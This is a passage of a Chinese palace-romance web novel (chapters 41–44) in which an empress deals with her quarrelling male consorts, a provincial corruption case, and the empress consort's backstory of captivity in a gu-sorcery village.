一盯就是许久。竟让气焰嚣张的男子,无端生出一丝恐惧。 骄矜如他,也忍不住萌生退意。可尚未开口,冷冽的声音突然传入内殿:“本宫看德君越来越放肆。陛下要惩治一个仗着权势、欺压宫侍的贱婢 ,难道还要经你允许?你眼中可还有帝君之别,纲常之理?紫宸殿是陛下休憩理政之地,你未经通传,放肆闯入,还敢以后君之身质问帝王!简直狂悖无状!” 言及此,郭嘉安已行至内殿,立在庄与之身前,冷声道:“来人!德君以下犯上,不敬帝王,宫规难容!即刻押回凝霜阁闭门思过,未经允准,不得踏出一步!” 庄与之当即面红耳赤,怒斥:“你算什么东西?凭你也配……” ‘啪——’ 朱红广袖在半空划过一道鲜明弧线,重重甩在了庄与之的脸颊上,脆响声伴着郭嘉安的斥责,绕梁不歇:“就凭本宫是贵君,高你一等!” 一旁看热闹的裴源当即凤眸圆瞪,背脊仿佛都挺直了几分。而庄与之更是愣怔当场,全完不可置信的僵在原地。 郭嘉安未曾给他反驳之机,赫然冷道:“都是死人吗?本宫的吩咐听不到?拖下去!” 乌宛白见势,一挥浮尘,廊下静候的宫侍几乎一拥而上。 庄与之何曾受过这种屈辱?当下歇斯底里的要与郭嘉安撕扯在一处,奈何身子被宫侍牢牢控制,越拖越远,竟连郭嘉安的衣袖都没有碰到,他心中极为不甘,只能歇斯底里的大吼:“郭嘉安!我要杀了你!你们这群贱奴竟敢拉扯本宫?本宫要将你们都杀了!全都杀了!放开本宫……” 裴源:“……” 前有耳光打手,后有愤怒嘶吼,还有昨夜的手锁喉,各个深藏不露,吓得裴源瑟瑟发抖…… 太可怕了,这个后宫太可怕了。 裴源目瞪口呆的目送了庄与之远去,忽而感觉后颈一热,浓烈的花香瞬时环绕周身,甫一回首,恰与贴上前的郭嘉安四目相对。 裴源没来由感觉头皮发麻,下意识退了好远后提笔飞速写下一句:【打了庄与之,可就不能打朕了呦~】 郭嘉安:“……” 不过几息,纸条就被郭嘉安夺在手里撕成了碎片,男子伫立方台静观凤帝须臾,复又将桃花眼眸垂落在她脖颈上系着的方巾上:“陛下脖子怎么了?” 裴源摸了摸方巾,再次提笔:【偶感风寒,伤了喉咙,并无大碍。】 桃花眼眸微眯,几息静默,郭嘉安才嘲弄道:“那这风寒属实厉害,平白在陛下脖颈上留了青,还是人手的形状。” 裴源:“……” 裴源无端有些心虚,用手中握着的笔杆轻戳了戳脸颊,既不看他,也不再写字。 询问无果,郭嘉安不再自讨没趣,微微一礼,转身阔步退出了殿外。 乌宛白一如往昔,立在廊下躬身颔首,郭嘉安冷冷瞥她一眼:“侍主不周,自己去肃刑司领十个板子。再有下次,本宫亲自扒了你的皮!” 乌宛白面色如常,不露半点情绪,只恭敬回道:“是。” 郭嘉安拂袖而去,一盏茶后,朱红身影便踏入了栖梧宫。 解安心中警铃大作,尚未来得及阻拦,宸贵君已然阔步而入。视线与茶案前端坐的柳叶眸相对,片刻后,挤出一抹冷笑:“君后好雅兴,差点害得阖宫诸君成了鳏夫,竟还有心思在这饮茶?” 郭嘉安大摇大摆行至案前,一脚踏在椅上,豪放侧倚,俨然未将君后放在眼中。 陆长行凝着他的举止,虽有不满,可心中更在意凤帝状况,故而轻声问道:“她……可安好?” 郭嘉安冷哼一声,语气中满是嘲讽:“自己下了多重的手不清楚吗?还有脸来问我?” “我……”陆长行想说他不是故意的,可话到嘴边生生咽下,只道:“我无话可辩,是打是骂,悉听尊便。” “我吃饱了撑得打你?”郭嘉安没好气道:“陛下忘了我为何得宠,你不忘便好。” 说话间,郭嘉安从袖口取出一页卷轴扔到陆长行面前:“文渊阁的典制考;青云湖的水改道,不知道是不是巧合?总感觉先帝走过的荆棘路,有人想让陛下重蹈覆辙。” 陆长行放下手中的茶盏,展开卷轴。上面所书,正是先帝初登大宝那几年历经诸事的详细记录。 殿中一片静谧,只有微风从窗而入,吹撩起陆长行半束的青丝。良久,他才缓缓启唇:“近来听闻一事,先帝初登大宝之时,常家势大,为先帝所不容。” 他顿了顿,目光微微闪烁,似在回忆:“我幼时在北境长大,十二岁才初入京城。那时的常家已呈落败之象,我亦未听闻常家曾遭先帝责罚的懿旨。你可知其中缘由?” 郭嘉安瞥他一眼,目光如刃,眼底嘲讽之意丝毫未加掩饰,却也无意点破陆长行的心思。只收回视线看着锦袍上的那朵艳丽牡丹:“繁花之败,多自根茎腐烂。先帝深谙推波助澜之道,以星星之火引燃常家原野。常家姊妹彼此猜忌,自相残杀,最终不战而溃。” 原来如此。 陆长行放下卷轴,抬眸看向郭嘉安,目光总不自觉的被他眉心红钿吸引,盯的久了,只觉得刺眼。 “夏至阴生,日短夜长。人好揣度,厉鬼难防。”陆长行收回视线,眸光微深:“若你推测为真,或有人想借幽冥之力搅乱人心,我们还真要早设防备才好。” 郭嘉安长叹一声:“打不完的妖怪,淌不完的河,当时一定是猪油蒙了心,才上了她这条贼船。” 陆长行微微眯眼,语气中带着几分冷意:“别说得好像你吃了亏似的!” 郭嘉安不屑冷笑:“恩宠这种东西,谁嫌多啊?我是不争,而非争不过。”他言罢起身离去,边走边道:“陆长行,昨夜之事若再有发生,你也莫怪我不讲诚信了。”【你现在阅读的是 】 40-50 第41章 第41章晋江文学城 数日后,三司呈递南陵捷报,以南陵郡刺史朱秋华为首,连同八名贪官污吏,为贪墨朝廷赈灾银两及税粮,擅自命人改水道,致使下游六县洪灾肆虐,良田淹没三百余顷,房屋损毁四万余间,波及百姓七万余众。 三司还从朱秋华等八人府邸中搜查出大量金银财宝、古玩字画、房产田地等资产,价值高达百万之巨。 消息传入宣政殿,凤帝凤颜大怒,当即下令斩杀所有涉案官员。并抄没八府全部资财,悉数用于六县灾后修缮,并免两年税收,恢复民生。 消息传回小院时,逄蕊有些不敢置信:“那么多银子?陛下都要留给受灾六县?” 陆萧玉狠狠咬了一大口苹果,汁水四溅时,漫不经心道:“陛下已敕令三司清查受灾名册,及赃款明细。为防贪官污吏再行盘剥侵占,已命新任刺史张榜公示名录,无论是田地、桥梁、道路、民宅、受灾百姓……皆按比例清算后分拨银两,并设举报署,所有灾民皆为监察官,全程公开透明。” 一旁的石师仪更为吃惊:“举报署?”她默了默,似又有了新的顾虑:“这举报署的官员大抵也是朝廷委任,谁又能确保她们不会行报复之举?” 几个压着司马入京告御状的乡民齐齐点头:“是啊,是啊。” 陆萧玉哼了一声,扔了手里的果核,随意在衣衫上蹭去汁水,才从怀里取出一份明黄卷轴。 在满院子人的注视下,陆萧玉一改吊儿郎当的姿态,背脊挺直伫立,高宣:“圣旨到!” 众人尚未来得及反应,紧闭的小院门忽而推开,两列威严侍卫飒飒踏入院内,各个龙睛虎目,气势不容小觑。 石师仪心中似有骇浪惊涛,她缓缓跪地,不知是因恐惧,还是因心头震撼。其余乡民见状,亦纷纷跪趴在地,惶恐不安。 陆萧玉缓缓展开奏折,高声宣读旨意:“南陵洪灾,虽肇始于天灾,然祸延于人祸,朕闻之心痛不已,寝食难安。然,朕居庙堂之高,虽有心救民于水火,奈何鞭长莫及,只能委任凤鸣卫陆指挥使南下,助乡民讨伐贪官,共度难关。 朕闻悉:石桦琳、逄蕊二人, 在此过程中心思细腻,机智过人,巧妙引导乡民,戳穿贪官阴谋。朕心甚慰,特诏命石桦琳、逄蕊为监察署民官,负责监督赈灾银两分配事宜。若发现赈灾银分配不均,或有贪官污吏再次作祟,可直接上报陆指挥使。望尔不负朕望,尽心竭力,为百姓谋福祉,为朝廷除奸邪。钦此~” 院中静默良久,石桦琳仿若从梦中惊醒一般,叩地的脸慢慢抬起时,竟已老泪纵横,颤颤巍巍的高举双手,泣不成声:“草民,石桦琳,接旨。” 直至圣旨接在手里,逄蕊任在状况外:“陆姐是指挥使……那那位陆公子?” 陆萧玉亲扶石桦琳起身:“尔等有福,曾得父仪天下的君后亲自看诊。” 其余乡民脸色甚是难看:“君后?那……我们骂陛下的那些话……” 陆萧玉冷哼一声:“现在知道怕了?” 众人瑟瑟发抖:“……” 乡民回程的第二天,另一个流言悄然四起。 南陵郡官吏贪墨案之所以处理得如此迅速,皆因大晟文脉觉醒,文昌帝君降下神迹,庇护爱徒。 彼时,帷帽诗仙入仕之言空前鼎沸,凤帝难拒百官请命。恰逢回京的南阳王仰慕其诗词宏大志愿,故请命为护诗使者,从此愿为诗仙喉舌,肝脑涂地。 一时间,上至亲王贵族,下至学子百姓,皆为此请命。终得凤帝点头首肯。 帷帽诗仙入主太学高堂之日,太学府人潮鼎沸,争先请教学问。直至子时的梆子声叩响,人们才在禁军的驱赶下散去。 彼时的傅逸春似蔫了的花儿,摘下帷帽后的双眸失神,就连凤帝的靠近,都未能唤起他一丝精神。 裴源伸出双手捏了捏他的脸颊:“爱君,你要振作起来啊,朕不能没有你~” 傅逸春目光呆呆偏转落在裴源的脸上,片刻后,直接推开她的手,声音嘶哑道:“你奏开,我不是你的爱君,我只是田野里耕种的牛马。” 裴源:“……” 哦呦~快来看呦~这个男人刚有点成就,就飘啦~连臣都不叫啦~~ 裴源嘿嘿一笑,忙将早就备好的润喉羹汤递到他跟前:“辛苦呢~只是暂时的,等她们将该问的问了,该说的说了,你的好日子的就来了。那会儿你想写经文就写经文,想用徽墨就用徽墨,喜欢洒金朕就给你备上一摞子金箔,写出来的字都是金灿灿的,还能享受到万民敬仰,朕都没你这个福气呢~” 傅逸春淡淡看她良久:“臣有句话不知当讲不当讲。” 裴源马上舀了勺羹汤递到他的嘴边:“这个福气给朕,朕不能要。朕堂堂帝王,坐拥天下,怎么能和后君抢福气呢?来,喝汤~” 傅逸春:“……” 话都让你说了。 傅逸春张口吞下一勺羹汤,清凉之感滑入喉舌,顿解喉咙干涉之感,正要张口咽下第二口汤,清脆的叩门声忽而响起:“诗仙,您睡了吗?” 是南阳王。 敲门只是她的礼貌,不请而入则是她的习惯,于是,成功捕获到了一个凭空出现的凤帝。 “陛下?”裴若愣了片刻,忙上前躬身行礼,后径自起身张望着后堂的窗:“您这是……早来了?” 裴源理了理凌乱的裙摆,面色从容:“朕就寝时,忽而想到一个疑问百思不得其解,故而辗转反侧,夜不能寐,只得深夜前来请教诗仙。又怕叨扰太学安宁,所以来的方式隐蔽了些。” 裴若恍然:“臣懂。”她一撩裙角端坐在二人面前:“不知陛下何事不解?臣虽才疏学浅,可也历经波折,见识稍宽,想必能为陛下解惑。” 裴源呵呵冷笑一声,还见识稍宽?满心满眼都在夺位上,能有个锤子见识! 凤帝尚未开口,苍老的声音从帷帽下飘出:“陛下再与老夫讨论,田野与牛马。” 裴源:“……” 傅逸春又道:“老夫以为,田野广袤,会累死牛;然陛下以为,牛吃金箔便累不死。故而,争论不休。不知南阳王如何看待此事?” 裴若:“……” 这都什么乱七八糟的? 眼见二人目光齐刷刷的落在自己脸上,裴若眉头紧锁,认真思量:“这个……嘶……嗯,二位饿了吗?可要共饮一杯?席间讨论?” 裴源斩钉截铁:“谢邀。” 傅逸春义正词严:“婉拒。” 裴若嘴角微抽,莫名觉得自己有些多余,于是试探道:“那我走?” 裴源与傅逸春齐声道:“慢走,不送。” 裴若:“……” 不说凤帝对这个帷帽诗仙不屑一顾吗?可她瞧着,这二人竟似天作之合,契合无间,仿佛本就是一体。 裴若郁闷离去,傅逸春再次扯下帷帽,狠狠白了眼她离去的方向:“不请自入,甚没规矩!” 说罢,端起身后的羹汤自顾自饮用起来。 裴源的目光落在傅逸春的手上,那双手修长而光洁,与他苍老的声线并不相符。 “无需忧惧,朕早已安排人在暗中保护你,你尽管在太学安心住下。” 傅逸春听出凤帝的担忧,语气淡然道:“陛下想要牵制南阳王,其实易如反掌。只需将凝露殿那位放出宫,便能达成目的。” “瞿辰?”裴源微微皱眉,显得有些不解:“君后曾言,南阳王已然不记得他了。” “见到了,自然就会想起了。”傅逸春淡淡看了裴源一眼,继续说道:“陛下对诸君性情知之甚少。若陛下了解便该知晓,那瞿辰,就是个疯子。陛下只需寻个由头,将人送到南阳王跟前,南阳王便对他打不得、骂不得、赶不得,自然而然就少了精力与臣周旋。” 裴源轻轻摩挲着指间的黑玉扳指,沉默良久,提议道:“瞿辰仰慕帷帽诗仙的才华,甘愿自降身份侍奉左右。这份执着,朕亦为之动容,自当成全。如何?” 傅逸春微微沉吟,片刻后点头回应:“虽稍显棘手,但臣自信能够妥善应对。” 第42章 第42章晋江文学城 瞿辰对帝王不忠不敬,仅封闭宫门,已然是凤帝对格外开恩。可他却对凤帝尤为不满,自得知南阳王回京,心中对凤帝的不满攀至顶峰。 这日,紧闭的宫门忽而开启,乌宛白踏步而入。面对瞿辰的冷嘲热讽,乌宛白似无半点波澜,一副履行公事的模样道:“瞿卿君不必言语相激,奴婢此番不过是奉命而来。陛下说了,与其见你如此疯魔,人在心不在,倒不如成全你一片痴情。” 瞿辰一愣,一脸警惕道:“她会这么好心?” 乌宛白立在廊下,隔着一扇窗,将视线落在室中男子的素白衣衫上。后君着白,意在服丧,瞿辰此举,实乃大不敬。她却懒得戳破,只淡淡道:“后君十数人,陛下皆未放在心里。既未放在心上,又何必介怀谁在意与否?” 瞿辰眉宇微蹙,似在思量她话的真伪。 乌宛白又道:“卿君虽禁足于凝露殿,但消息素来灵通,帷帽诗仙之名,想必早有所耳闻。陛下爱才,欲彰显天家恩德,故思量着,委派身边亲近之人屈尊侍奉再好不过。虽有他人可选,但陛下念及你,便差奴婢前来一问。你若愿往,便放你出宫;你若不愿,便当奴婢未曾来过便是。” 瞿辰眉头拧得更紧,直觉告诉他,此事恐为凤帝的阴谋,可他实在想念裴若,于是,见乌宛白转身欲离,忙不迭地冲出殿外:“本宫愿意!” 乌宛白缓缓停下步子,转过身,目光淡漠地看着他:“此番出宫,奉的是皇命,从此,这宫门便再踏入不得。瞿卿君可要想仔细了。” 这囚牢一样的后宫,谁稀罕? 瞿辰想也不想道:“本宫自当唯陛下之命是从。” 天气愈发燥热了起来,才一下朝,头上的旒冕与繁琐的凤袍已被裴源拆了个七七八八。 尽管如此,尤觉燥热,裴源猛扯了一下领口,只听“咔”的一声,贝壳纽扣应声而断,还在领口处留下了一道鲜红的痕迹,不过两息,伤痕慢慢溢出血珠。 乌宛白紧张不已,忙道:“陛下?” 裴源强忍心头怒意,低沉说道:“大热天的,衣服繁琐倒也罢了,还将领口制得这般紧俏,捂得严严实实,是要热死朕吗?去,把朕的凤袍赏给制衣署的尚宫们,让她们穿着去烈日下站两个时辰,让她们亲自感受一下,做精致娃娃的快乐。” 乌宛白点头如捣蒜:“是是是,陛下息怒,奴婢这就去办。” 彼时,计安寻了一套常服入内,才服侍好凤帝更衣,郭嘉安闲庭信步的步入殿中,瞧见裴源脸色不悦,赶忙奉上一盏凉茶:“陛下莫气,臣替你教训她们便是了。” 裴源仰头一饮而尽,清凉的茶饮入喉,似带走了内心烦躁情绪。放下茶盏时,郭嘉安早已掀开了药箱,捻着一块棉花沾着药水,状似无意道:“这几日格外的热,臣也烦躁的不行,听闻玉镇开了一处避暑山庄,居在山涧,凉爽的紧。” 竹镊捻了浸了药水的棉花向前,裴源并未闪躲,还微微仰头由他上药,听到此处,回他道:“玉镇离京十余里,你若想去,便多住一段时日,免得路上来回奔波。” 女子的脖颈纤长白皙,一道颈纹也无,因而伤痕落在颈上无比鲜明,郭嘉安目光注视着,躁动心生,努力压下情绪,方才轻轻涂抹,药水刺痛感令女子脖颈微缩,男子下意识顿了两息,打趣道:“陛下到底是多烦臣?恨不得臣在外永不回宫?” “又曲解朕的意思。”察觉药已上完,她颔首看他:“听君之言,便有想去之意,你难得开口,朕若不准,你定不悦;可朕准了,你又不喜。” 裴源看着他眉心鲜红夺目的花钿,忍不住伸手戳了戳:“阖宫诸君,数你最骄矜。” 郭嘉安顺势握住她的手,目光灼灼:“臣……” “咳咳~” 忽而传入的轻咳声,打破了殿中暧昧,两人齐齐望向来殿门前侧立的月白身影。 一晃儿数日不见,本就清瘦的男子看着更显单薄,裴源微微蹙眉,下意识挣脱了郭嘉安的手,端坐凤椅,正色道:“进。” 郭嘉安稍显不满,于是颔首整理着药箱,对款步而入的君后恍若未闻。 君后行至殿中,行了一礼,颔首轻声道:“陛下。” 凤眸凝视着他,见男子神色憔悴,裴源心中没来由的心头一颤。 那晚,她的确被陆长行的惊人之举吓得不轻,但事后也明白君后并非有意为之。本想等他前来亲自赔罪,此事便就此作罢,却没料到君后自那晚之后,竟一连数日闭门不出,让裴源觉得有些莫名其妙。 “何事?”裴源问。 陆长行这才从袖口掏出一册文书:“陛下,夏至之日,后宫亦将举行祭祀之礼,祈求消灾祈福、岁稔年丰。此乃祭祀流程,还请陛下请过目,可有遗漏之处?” 殿中静默稍许,裴源道:“君后做事向来稳妥,朕信任至极无需过目,皆依君后之意举办吧。” 陆长行闻言默默将文书揣好,躬身一礼:“臣告退。” 说罢,颔首退了几步,转身退出殿外,从始至终,未曾抬头看过凤帝一眼。 眼见月白锦缎很快在殿外留下一道掠影,裴源心绪愈发烦躁,却仍极力克制,对身侧贵君耐心说道:“银子不够,便去朕的私库取。晚些时候,朕会钦点几个身手好的侍卫护你周全,你安心出宫,多玩几日,权当散心。” 郭嘉安将凤帝的情绪尽收眼底,知晓她已是烦躁难平,却仍耐着性子安抚自己,他心中一动,忍不住问道:“陛下何以这般纵容臣?” 裴源一愣,思量了片刻后,得出一个莫名其妙的结论:她说不清楚,只觉的合该如此。于是取过一本奏折翻阅,随口回他:“你若不乐意,朕也可以收回成命。” 郭嘉安微微一笑:“臣就是随口问问,陛下怎还生气了。” 裴源无奈道:“哪敢生你的气,天热,朕燥而已。” 郭嘉安不再多言,安安静静在凝辉殿饮了两盏凉茶,方才起身说道:“陛下,臣乏了。” 裴源点了点头:“回去歇着吧,晚上好赶路。” 目送朱红身影远去,裴源再也按捺不住,扔下朱笔,阔步走出大殿:“陪朕去趟栖梧宫。” 计安扯嗓子高喊:“备撵~” 裴源:“……” 裴源照着她的屁股就来了一脚:“来,再大声一点,让阖宫的人都听到!” 计安:“……” 计安赶忙认罪:“陛下息怒,奴婢下次注意。” 正值晌午,宫人全都懒洋洋的,即便蝉鸣声声不歇,依旧难抵困倦。 ‘当——’ 解安不知不觉间睡熟了,或许是梦魇缠身,一个伸腿,踹得茶案一晃,发出了一声闷响。 声响瞬间将解安惊醒,似也将君后吓了一跳。 看着手边因茶案晃动而倾洒的茶水,解安慌忙跪地:“君后恕罪。” 陆长行取了帕子,慢条斯理地擦拭着手上的茶水,淡淡道:“若困了便去午歇一会儿,本宫这无需照应。” 解安挠挠头,一时间不知该不该退下。 适才君后踏出凝辉殿后,便失魂落魄地回了栖梧宫。而后,便一言不发地静坐在茶案前,神情恍惚,眸色无光,连午膳都未曾用。 解安本想安抚几句,却又不知从何开口,只能陪伴在侧。结果一不小心,自己竟睡着了。 抬眸见君后又在发呆,解安轻轻一叹,正打算备些点心供君后打牙祭,谁料,恰好瞧见凤帝阔步而来。 廊下宫侍的请安声传入殿中,陆长行稍显错愕,忙不迭起身恭迎。却不想凤帝面色阴沉,径直踏入内殿,边走边道:“那夜之事分明是你的过错!你不来向朕赔罪也就罢了,竟还数日装聋作哑,适才更是头也不回地就走了?朕算是看出来了,你就是等着朕来哄你?对吧!” 凤帝说话间,已熟门熟路地跨上方台,寻了个阴凉有风的位置,懒懒倚靠在那,端的是一副气急败坏却又吊儿郎当的模样。 解安见势,急忙挥手,遣走了殿中及廊下照应的宫人,只留帝后二人独处。 陆长行这才缓步上前,伫立于方台旁,微微颔首,低声道:“臣自知冲撞凤体,深感愧疚,因而无颜面圣,只能闭门不出,静思己过。” 裴源闻言,冷哼一声:“胡扯!你若真愧疚,就该日日到朕面前请罪道歉,闭门不出算什么悔过?莫名其妙!” 陆长行沉默片刻,将头压得更低,良久才道:“臣并非不想向陛下请罪,臣……臣只是害怕。” “你害怕什么?”裴源盯着他,语气中带着几分逼问:“害怕朕不原谅你?还是害怕朕会在宫人面前落了你君后的脸面?” “那些虚妄的颜面,臣从不挂怀。” 又是一阵长久的沉默,陆长行低沉的嗓音再度响起:“臣只是怕,陛下会因那夜臣的举动而心生惧意。若当真如此,陛下势必会为了顾及臣的颜面,耗费心力与臣周旋言辞。陛下本就忙于国事,臣不愿陛下再因这等琐事而烦忧。” 第43章 第43章晋江文学城 裴源心中本想与陆长行大吵一架,可心底却似烧着一座火山,唯恐气急之下说出些言不由衷的话,反而伤了彼此的情分,索性还是作罢。于是起身立在方台边上,居高临下的看着颔首静默的男子。 良久后,口中逸出一声长叹:“君后总有自己的一套道理。” 言此,裴源重重拍了一下他的肩膀,跳下方台,抬步而去时,男子的声音响在身后。 “臣纵有千般巧辞,但想说服之人却从不是陛下,而是臣自己。” 裴源停下步伐,回身望去,陆长行仍伫立原地。低着的头缓缓抬起,眸光平静地望着她。 “臣要说服自己,纵然陛下身边佳人众多,但陛下心中,唯爱臣一人。因为臣是有用的,无害的,无瑕的。可那夜臣伤了陛下,臣心疼之余,皆是惶恐,因为臣不再是那个完美的君后。臣怕陛下嫌恶臣,更怕面圣时看出陛下对臣的厌恶。臣会无地自容,再不敢厚颜留 在后宫,霸着君后之位。可臣又不舍得离开陛下。所以臣躲在栖梧宫,每日盼着陛下来,又怕陛下来,就好像脖子上悬了把刀,臣不知那刀挥下时,斩断的是臣的脖子,还是臣与陛下的情丝。” 午后的蝉鸣声无比吵闹,扰乱了本该静谧的宫殿。 热风裹挟着燥热拂过脸颊,不过片刻,裴源额头上就生出一层细密的汗珠。她下意识地瞥了一眼院中,青砖被太阳炙烤,隐隐散发着热气,最后夹杂在风里,吹入室内,更添了几分闷热。 裴源忍不住扯了下领口,新的衣扣骤然崩开,在半空划过一道弧度,很快,角落里传来纽扣与地板弹跳的声响。弹跳声由缓入急,归于静谧,裴源也终于明悟了陆长行这番话深层的意思。 裴源一脸无奈道:“不过是被你瞧见与郭嘉安举止亲昵了些,竟惹出了你这一大番道理。” 陆长行静默须臾,颔首道:“陛下圣明。” 裴源:“……” 她就知道!什么斩脖子,斩情丝?说了一堆屁话,无非是借机控诉不满。 裴源轻叹一声,缓步行至他的面前,俯下身侧仰着头看他,四目相对,凤眸眨得飞快,带着几分轻哄的意味:“天气燥热,更助醋味挥发,若将朕熏死了,君后可就守寡了。” 陆长行微微蹙眉:“什么死不死的,陛下如今是越来越口无遮拦了。” 裴源赶忙伸出手勾起他的手指:“朕不说便是了,君后也莫要介怀了。可好?” 陆长行顺势将她的手握在掌心:“真想将陛下的手泡进池子里,仔细洗得干净彻底。” 裴源无奈道:“可以洗,就是君后拈酸吃醋之余,能否赏朕一口水喝?” 陆长行嘴角肉眼可见地扬起了一抹弧度,只是语气依旧阴沉:“勉为其难。” 裴源不自觉笑出了声:“属实是倒反天罡了。” 陆长行这才拉着她行至茶案前,倒了碗凉茶出来递到了女子手边,再开口时,语气和缓了不少:“前些日子,陛下的饮食中被人掺入了雄黄。雄黄本是良药,却也是毒药。长期服用会导致心悸,陛下前段时间莫名心慌,便是因此。如今虽已停药,但体内毒素尚未清除,所以身体燥热难耐。陛下且忍忍,待毒素清除,便会无碍。” 裴源愣怔须臾,才将杯中茶一饮而尽,清冷之感滑入心肺,仿佛燥热也平息了:“总有刁民想害朕!” 陆长行默然无语,只将柳叶眸凝落在她的脖颈上。裴源似有所觉,轻轻拍了拍他的手,温声安抚道:“疼了不过两日便已好转,朕知晓你是因梦魇才失了分寸,故而未曾放在心上。本还盼着你早日前来哄朕一哄,哪料你竟与自己闹起了别扭。” 陆长行眼眸微暗,声音里带着几分沉郁:“一路奔波,疲乏至极,睡得懵了头。若非解安听到动静冲入殿中,臣都不敢想会发生什么。”他的脸上多了一丝愧疚:“陛下,臣……” 裴源伸手抵着他的唇:“事过了便算了,不提了。” 陆长行眸底似生了雾,想也不想的握住她的腕将其扯入怀里:“臣当真是怕……怕陛下再不理会臣了。” 说不清是心里原因,还是自己本就贪恋他的靠近。裴源只觉得男子的怀抱似三月春雪,透着股清冽的凉意,瞬间便熄灭了她体内的燥热。 不忘拍着他的后背安抚:“哪会舍得不理你?这不巴巴过来哄你了?阖宫独一份的恩宠,朕可都给了你。” 这话不知怎地触怒了男子,陆长行瞬间抽离怀抱,没好气道:“陛下的恩宠分文别类,每一种都是独一份。这话糊弄他人去,臣才不信。” 裴源:“……” 裴源摸摸鼻子,笑得有些惭愧。彼时,男子侧身从案旁的匣中取出一方帕子,系在了她的腕上。 帕子素白一张,只在两角处绣了两朵微微绽放的菡萏,交叉系在一处时,错综盛开,好似一朵并蒂莲。 裴源感叹他的巧思,开口道:“那夜你到底梦到了什么?朕瞧你那样子,像是要将仇人千刀万剐似的。” 陆长行下意识地抚了抚腕上的银镯,犹豫了片刻,才缓缓道:“母卿出事前似有所觉,于是寻了个借口哄臣南下躲避风头。臣对南方人生地不熟,途经一处丛林后便迷了路。醒来时,发现自己被人囚禁在了一个名叫‘苗翎谷’的村落。” “苗翎谷?”裴源眉头紧蹙:“朕倒是听南阳王提及过,似是一个专门豢养蛊虫的村子。” 陆长行点点头:“那村子十分诡异,整个村子里没有一个男人。偏偏有些蛊虫又需要男子的血来豢养,于是,她们就会在丛林里设下迷雾,一旦捕获到男子便会囚禁关押,每隔几日,割腕取血。” 裴源似是不解:“若没男子,如何传宗接代?”话一出口,她便想到了答案,语气微微一顿,接着道:“看来囚徒的作用,不仅仅是供血,还要诞育儿女。” 言此,裴源心绪微乱,眸光微沉,下意识地望向陆长行的小腹。 陆长行似有所觉,却并未多言解释,轻声反问:“陛下可知男子如何诞育子女?” 裴源心中思绪纷杂,只含糊应道:“成年后服药,以改换身体机能。” 陆长行察觉到她的急躁,却并不点破,淡淡开口:“其实不然。”说罢,他轻轻伸手,以指尖轻触她的唇瓣:“首先,需在男孩幼年时吞下育籽。” 他的指尖缓缓下滑,终于滑至女子的小腹后,慢慢画了一个圈:“育籽入喉,一路下滑,最后落在丹田。它会慢慢生根,不过长势无比缓慢,因为它的长大需要吸收很多养分。所以,男子会在成年后服食育元丹,供养它慢慢成型,长成生育囊。” 陆长行收手,用指尖轻蘸杯中茶水,在茶案上画了一幅阴阳图:“男为乾,女为坤,此乃阴阳之道。然而,为了能让男子诞育儿女,只能靠外力强行扭转。一旦育籽在男子的丹田开花结果,乾阳之躯便会沦为混沌,也就是陛下所说的:身体机能发生了变化。因而,成年前血气方刚的男子,会在成年后变得阴柔无力,任由女子轻易拿捏。这便是男子育女的真相。” 裴源听到此处,心底里无端涌起骇浪,可她却沉默不言,只静静地看着男子,目光中带着一丝复杂的情绪。 男子的羽睫微颤,垂眸时又落下一言:“父亲不想臣吃生育的苦,故而,臣未曾服用过育籽,臣此生都无法诞育儿女。正因如此,臣的纯阳之血在苗翎谷显得十分金贵。她们囚禁了臣二百八十一天,用臣的血培育出了一只圣王蛊。现如今——” 陆长行缓缓撩起袖子,露出了手腕上的银镯:“它就住在臣的镯子里。” 陆长行的手腕纤细如玉,圆镯戴在他腕上,显得格外宽松。随着他的动作,镯子轻轻晃动,发出细微而清脆的声响。 那是一枚古朴的银镯,镯身雕刻着神秘的图腾,裴源看不懂,也不想看,只是将目光停留在他手腕上那些错综复杂、深浅不一的疤痕上。 原来他总是穿着宽大的广袖长袍,是为了遮掩这些伤痕。 没来由的,裴源觉得胸口一阵钝痛,无论如何克制,终是抑制不住眼中泛起的水雾。她匆匆低下头,忍了又忍,可泪水还是盈满眼眶,顷刻间滴落在裙摆上,晕染出一朵又一朵的花。 陆长行微微一愣,随即轻轻靠近,低声安慰道:“不能为陛下育女,臣亦伤怀,万幸陛下后君众多,未来无论谁替陛下诞育皇女,臣都会视如己出。陛下莫要哭了,好不好?” 裴源胡乱抹了把眼泪:“傻子,谁在意那些。”她握着他的手腕,轻轻抚摸着上头的伤疤:“朕是心疼你。” 陆长行心中的情绪渐渐变得复杂,许久之后,才轻轻拥着她,轻言打趣 :“若早知陛下心疼,臣就该早点展露出来给陛下看。” 第44章 第44章晋江文学城 被囚禁在苗翎谷的那段过往,陆长行起初想起时还会恐惧后怕,心中饱含恨意。所以逃离后,第一时间只想返回北境,他要告诉母卿、告诉阿姐自己所受的折辱,寻找依靠,渴求家人的怀抱,并以家族势力将苗翎谷铲平,将他痛恨的那些人全部绞杀,以泄心头之愤。 可当他费尽周折重返北境时,才知自己……早在被囚禁的最初,他就已经没有家了。 被囚于苗翎谷时,陆长行以为那便是此生最苦的磨难。他以为,只要自己足够坚韧,寻得一线生机,便能破茧重生,迎来新生。 可当他重返北境,见王府匾额从“陆”易为“郭”的那一刻,他才知晓,过往的磨难,不过只是小儿科。 苗翎谷被囚岁月,教会了他蛰伏与隐忍。纵然心头背负着无尽的悲痛,可在短暂的崩溃之后,他便化身为流民乞丐,四处打探着家族被灭的真相。 他自是不信母卿会有谋反之意,可那场毫无破绽的军械案,已为母卿定了罪名。他想了解各种细节,更想为母卿洗刷冤屈,可那时的他一无所有。 破局的关键,便是让自己变得“有用”。唯有成为“可用之人”,才能再次踏入京城这个名利场。 左思右想,他决定折返回南部,从从前被动掉入苗翎谷的陷阱囚徒,变成了主动深入敌营的鬼魅。 他蛰伏于暗处,隐匿行踪,悄然与吸食自己血养大的蛊虫沟通。凭借蛊虫之力,暗中救下了无数被困的弟兄。并在一个月黑风高的夜晚,召唤出圣王蛊,与众男子合力,发动了一场惊心动魄的反杀,成功将局面逆转,由囚徒变身为主宰。 随后,他携着圣王蛊入京,洞察京城的风云变幻,权衡局面,最后,他走到了裴源的身边。从最初无名无分亦不能展露真容的大夫,一步一步成为了父仪天下的君后。 他对裴源,利用是真,爱慕亦是真。 陆长行常觉自己是世间最不堪的伪君子。他不愿让裴源窥见自己最卑劣的一面,故而在她面前,他始终保持着谦卑雅正的君子之态。即便其他后君得她青睐,令他妒火中烧,他亦能强行压制内心的波动,伪装出一副豁达大度的模样。 